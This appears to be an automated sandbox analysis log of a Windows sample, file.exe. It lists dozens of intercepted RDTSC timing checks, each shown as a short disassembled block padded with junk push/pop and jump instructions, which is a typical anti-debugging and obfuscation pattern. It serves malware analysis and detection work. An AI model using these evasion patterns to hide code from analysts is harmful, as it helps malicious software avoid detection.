Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8326AC second address: 8326EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F4D44D051A8h 0x00000011 js 00007F4D44D05196h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BAFF second address: 83BB03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BB03 second address: 83BB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BB0E second address: 83BB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b jns 00007F4D45034D18h 0x00000011 popad 0x00000012 pushad 0x00000013 jbe 00007F4D45034D2Ch 0x00000019 jmp 00007F4D45034D26h 0x0000001e jnl 00007F4D45034D18h 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BB4A second address: 83BB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787289 second address: 7872A1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4D45034D16h 0x00000008 jmp 00007F4D45034D1Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839D96 second address: 839DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839EDE second address: 839EF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F4D45034D16h 0x00000010 jns 00007F4D45034D16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839EF4 second address: 839EFA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839EFA second address: 839F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839F00 second address: 839F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A459 second address: 83A45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A45D second address: 83A47B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A708 second address: 83A725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D22h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A9D3 second address: 83A9D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A9D9 second address: 83AA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4D45034D28h 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4D45034D1Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AA13 second address: 83AA1D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AA1D second address: 83AA23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839945 second address: 83994B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83994B second address: 83994F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 847BD6 second address: 847C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Ch 0x00000007 push edx 0x00000008 jmp 00007F4D44D051A8h 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F4D44D051A8h 0x00000018 jmp 00007F4D44D051A2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84D2AF second address: 84D2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84D2B5 second address: 84D2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E927 second address: 84E92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8520FA second address: 852152 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F4D44D051A9h 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F4D44D051A7h 0x00000019 popad 0x0000001a jmp 00007F4D44D051A8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852152 second address: 852171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D24h 0x00000007 pushad 0x00000008 jno 00007F4D45034D16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854280 second address: 854286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85850D second address: 858513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858513 second address: 858520 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858520 second address: 858537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4D45034D16h 0x0000000a jc 00007F4D45034D16h 0x00000010 je 00007F4D45034D16h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858537 second address: 85853D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85853D second address: 85854E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85854E second address: 858552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858250 second address: 858266 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4D45034D1Dh 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E1B4 second address: 85E1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E1B8 second address: 85E1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E1CC second address: 85E1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E1D0 second address: 85E205 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4D45034D16h 0x00000008 jns 00007F4D45034D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 jmp 00007F4D45034D1Bh 0x00000019 jmp 00007F4D45034D25h 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E205 second address: 85E20A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E20A second address: 85E210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8610FF second address: 861103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861103 second address: 861109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861109 second address: 861118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F4D44D05196h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861118 second address: 861128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861128 second address: 861149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4D44D05196h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jc 00007F4D44D051A1h 0x00000013 jmp 00007F4D44D0519Bh 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862845 second address: 86285C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D21h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86285C second address: 86286B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F4D44D0519Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868A04 second address: 868A1C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4D45034D1Eh 0x00000008 ja 00007F4D45034D16h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F4D45034D16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8708B4 second address: 8708BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8708BA second address: 8708C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F4D45034D16h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F23F second address: 86F248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F248 second address: 86F25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F4E8 second address: 86F4F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F4F0 second address: 86F513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D27h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jno 00007F4D45034D16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8705D0 second address: 8705D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8705D6 second address: 8705E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D45034D1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874187 second address: 87418E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A779 second address: 78A77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A77F second address: 78A79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4D44D051A4h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A79A second address: 78A7A9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4D45034D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894139 second address: 89413F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89413F second address: 894156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4D45034D1Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894156 second address: 894177 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4D44D051A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894177 second address: 89417B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897145 second address: 89714F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89714F second address: 897159 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897159 second address: 897163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4D44D05196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897163 second address: 897169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897169 second address: 897181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4D44D0519Ah 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897181 second address: 897186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897186 second address: 897197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnl 00007F4D44D05196h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC8EF second address: 8AC902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4D45034D16h 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC902 second address: 8AC906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1350 second address: 8B1354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1354 second address: 8B136D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4D44D0519Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B01F9 second address: 8B0203 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4D45034D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B078C second address: 8B0799 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0799 second address: 8B07A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0D12 second address: 8B0D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0D1B second address: 8B0D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E67 second address: 8B0E9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A6h 0x00000007 jnc 00007F4D44D05196h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F4D44D051A0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E9A second address: 8B0EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D45034D29h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0EB7 second address: 8B0EBD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1023 second address: 8B103A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F4D45034D20h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B103A second address: 8B1040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1040 second address: 8B104A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4D45034D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3F6C second address: 8B3F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3F70 second address: 8B3F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 js 00007F4D45034D1Ch 0x0000000f jno 00007F4D45034D16h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3F88 second address: 8B3FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F4D44D051A0h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3FAA second address: 8B3FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8A30 second address: 8B8A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8A34 second address: 8B8A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F4D45034D16h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4D45034D20h 0x0000001f ja 00007F4D45034D16h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8A64 second address: 8B8A7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8A7B second address: 8B8A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8A82 second address: 8B8A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8A9A second address: 8B8AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0AB4 second address: 4FF0AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4D44D0519Fh 0x00000008 pop esi 0x00000009 mov bx, 3EFCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test ecx, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4D44D0519Eh 0x00000019 rdtsc
